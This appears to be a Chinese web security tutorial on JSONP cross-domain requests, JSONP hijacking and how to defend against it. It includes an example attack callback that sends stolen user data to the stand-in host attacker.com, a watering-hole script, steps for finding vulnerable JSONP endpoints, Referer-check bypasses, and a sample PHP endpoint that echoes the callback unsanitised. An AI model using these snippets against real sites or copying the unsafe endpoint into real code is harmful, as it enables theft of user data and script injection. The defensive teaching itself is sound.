JSONP跨域原理及劫持
字数 1776 2025-08-11 21:26:18

JSONP跨域原理及安全防护详解

一、JSONP基本概念

JSONP (JSON with Padding) 是一种实现跨域数据请求的技术方案,它通过动态创建<script>标签来绕过浏览器的同源策略限制。

1.1 JSONP工作原理

JSONP的核心原理是利用<script>标签的src属性不受同源策略限制的特性:

var script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);

1.2 与普通JSON请求的区别

  • 普通JSON请求:受同源策略限制,需要服务器设置Access-Control-Allow-Origin头部
  • JSONP请求:通过动态脚本加载实现跨域,不需要CORS支持

二、JSONP实现方式

2.1 基础实现

HTML文件 (1.html):

<!DOCTYPE html>
<html>
<head>
    <title>JSONP示例</title>
</head>
<body>
    <script type="text/javascript">
        function jsonhandle(data){
            alert("age:" + data.age + " name:" + data.name);
        }
    </script>
    <script type="text/javascript" src="http://localhost/godown.php?id=1&callback=jsonhandle"></script>
</body>
</html>

服务器端 (godown.php):

<?php
$data = array(
    'age' => 20,
    'name' => 'dada',
);

$callback = $_GET['callback'];
echo $callback."(".json_encode($data).")";
return;
?>

2.2 使用jQuery实现

jQuery简化了JSONP的实现过程:

<script type="text/javascript">
$(document).ready(function(){
    $.ajax({
        type: "get",
        url: "http://localhost/godown.php?id=1",
        dataType: "jsonp",
        jsonp: "callback", // 指定回调函数参数名
        jsonpCallback: "jsonhandle", // 指定回调函数名称
        success: function(data) {
            console.info("调用成功");
        }
    });
});
</script>

三、JSONP安全风险

3.1 JSONP劫持原理

JSONP劫持是一种类似于CSRF的攻击方式,攻击者通过构造恶意页面窃取用户在目标网站的数据。

攻击流程:

  1. 用户在网站B登录并保存了身份信息
  2. 用户访问攻击者控制的网站A
  3. 网站A的页面包含向网站B请求数据的JSONP调用
  4. 由于用户已登录网站B,请求成功返回用户数据
  5. 数据被网站A的JavaScript回调函数捕获

示例攻击代码:

<script type="text/javascript">
function Callback(result) {
    // 将获取的数据发送到攻击者服务器
    var img = new Image();
    img.src = "http://attacker.com/steal?data=" + JSON.stringify(result);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>

3.2 JSONP水坑攻击

攻击者发现JSONP接口后制作钓鱼网站,其中包含自动请求JSONP接口的脚本:

$.ajax({
    url: 'jsonp漏洞接口',
    type: 'get',
    dataType: 'jsonp',
}).done(function(json){
    var id = json["data"]["id"];
    var screen_name = json["data"]["screen_name"];
    // 将数据发送到攻击者服务器
    var post_data = "id=" + id + "&screen_name=" + screen_name;
    console.log(post_data);
}).fail(function() {});

3.3 JSONP劫持漏洞挖掘方法

  1. 登录目标网站
  2. 在浏览器开发者工具中开启"保留日志"选项
  3. 搜索以下关键字:
    • callback
    • json
    • jsonp
    • email
    • token
  4. 找到可疑请求后,直接在URL中访问看是否返回敏感信息
  5. 检查是否可以在不同域下请求到这些数据

四、JSONP安全防护措施

4.1 服务器端防护

  1. 验证Referer头

    $referer = $_SERVER['HTTP_REFERER'];
    $allowed_domains = array('example.com', 'trusted.com');
    $valid = false;
    
    foreach ($allowed_domains as $domain) {
        if (strpos($referer, $domain) !== false) {
            $valid = true;
            break;
        }
    }
    
    if (!$valid) {
        die('非法请求');
    }
    
  2. 使用Token验证

    session_start();
    if ($_GET['token'] != $_SESSION['token']) {
        die('非法请求');
    }
    
  3. 限制回调函数名

    $callback = $_GET['callback'];
    if (!preg_match('/^[a-zA-Z0-9_]+$/', $callback)) {
        die('非法回调函数名');
    }
    

4.2 客户端防护

  1. 避免在JSONP接口中返回敏感信息
  2. 设置HttpOnly和Secure标志的Cookie
  3. 实现CSRF Token机制

4.3 Referer绕过的防护

攻击者可能通过以下方式绕过Referer检查:

  1. 使用data URL:构造无Referer的请求
  2. HTTPS发送HTTP请求:HTTPS页面发起HTTP请求默认不发送Referer

防护措施:

  • 同时验证Referer和Origin头
  • 强制使用HTTPS

五、JSONP与CORS的比较

特性 JSONP CORS
兼容性 支持所有浏览器 需要现代浏览器支持
请求类型 仅支持GET请求 支持所有HTTP方法
安全性 较低,存在劫持风险 较高,服务器可精细控制
错误处理 有限 完善的错误处理机制
数据格式 必须包装在回调函数中 原生支持JSON格式

六、最佳实践建议

  1. 新项目优先使用CORS:JSONP应作为兼容旧浏览器的备选方案
  2. 敏感接口禁用JSONP:用户数据、支付等敏感接口不应提供JSONP支持
  3. 实施严格的输入验证:验证回调函数名、参数等输入
  4. 记录和监控异常请求:对可疑的JSONP请求进行记录和报警
  5. 定期安全审计:检查JSONP接口是否存在安全风险

七、总结

JSONP作为一种传统的跨域解决方案,虽然实现简单兼容性好,但存在严重的安全隐患,特别是JSONP劫持风险。在现代Web开发中,应优先考虑使用CORS等更安全的跨域方案。对于必须使用JSONP的场景,务必实施严格的安全防护措施,防止敏感数据泄露。

JSONP跨域原理及安全防护详解 一、JSONP基本概念 JSONP (JSON with Padding) 是一种实现跨域数据请求的技术方案,它通过动态创建 <script> 标签来绕过浏览器的同源策略限制。 1.1 JSONP工作原理 JSONP的核心原理是利用 <script> 标签的src属性不受同源策略限制的特性: 1.2 与普通JSON请求的区别 普通JSON请求 :受同源策略限制,需要服务器设置 Access-Control-Allow-Origin 头部 JSONP请求 :通过动态脚本加载实现跨域,不需要CORS支持 二、JSONP实现方式 2.1 基础实现 HTML文件 (1.html): 服务器端 (godown.php): 2.2 使用jQuery实现 jQuery简化了JSONP的实现过程: 三、JSONP安全风险 3.1 JSONP劫持原理 JSONP劫持是一种类似于CSRF的攻击方式,攻击者通过构造恶意页面窃取用户在目标网站的数据。 攻击流程: 用户在网站B登录并保存了身份信息 用户访问攻击者控制的网站A 网站A的页面包含向网站B请求数据的JSONP调用 由于用户已登录网站B,请求成功返回用户数据 数据被网站A的JavaScript回调函数捕获 示例攻击代码: 3.2 JSONP水坑攻击 攻击者发现JSONP接口后制作钓鱼网站,其中包含自动请求JSONP接口的脚本: 3.3 JSONP劫持漏洞挖掘方法 登录目标网站 在浏览器开发者工具中开启"保留日志"选项 搜索以下关键字: callback json jsonp email token 找到可疑请求后,直接在URL中访问看是否返回敏感信息 检查是否可以在不同域下请求到这些数据 四、JSONP安全防护措施 4.1 服务器端防护 验证Referer头 : 使用Token验证 : 限制回调函数名 : 4.2 客户端防护 避免在JSONP接口中返回敏感信息 设置HttpOnly和Secure标志的Cookie 实现CSRF Token机制 4.3 Referer绕过的防护 攻击者可能通过以下方式绕过Referer检查: 使用data URL :构造无Referer的请求 HTTPS发送HTTP请求 :HTTPS页面发起HTTP请求默认不发送Referer 防护措施: 同时验证Referer和Origin头 强制使用HTTPS 五、JSONP与CORS的比较 | 特性 | JSONP | CORS | |------------|---------------------------|------------------------------| | 兼容性 | 支持所有浏览器 | 需要现代浏览器支持 | | 请求类型 | 仅支持GET请求 | 支持所有HTTP方法 | | 安全性 | 较低,存在劫持风险 | 较高,服务器可精细控制 | | 错误处理 | 有限 | 完善的错误处理机制 | | 数据格式 | 必须包装在回调函数中 | 原生支持JSON格式 | 六、最佳实践建议 新项目优先使用CORS :JSONP应作为兼容旧浏览器的备选方案 敏感接口禁用JSONP :用户数据、支付等敏感接口不应提供JSONP支持 实施严格的输入验证 :验证回调函数名、参数等输入 记录和监控异常请求 :对可疑的JSONP请求进行记录和报警 定期安全审计 :检查JSONP接口是否存在安全风险 七、总结 JSONP作为一种传统的跨域解决方案,虽然实现简单兼容性好,但存在严重的安全隐患,特别是JSONP劫持风险。在现代Web开发中,应优先考虑使用CORS等更安全的跨域方案。对于必须使用JSONP的场景,务必实施严格的安全防护措施,防止敏感数据泄露。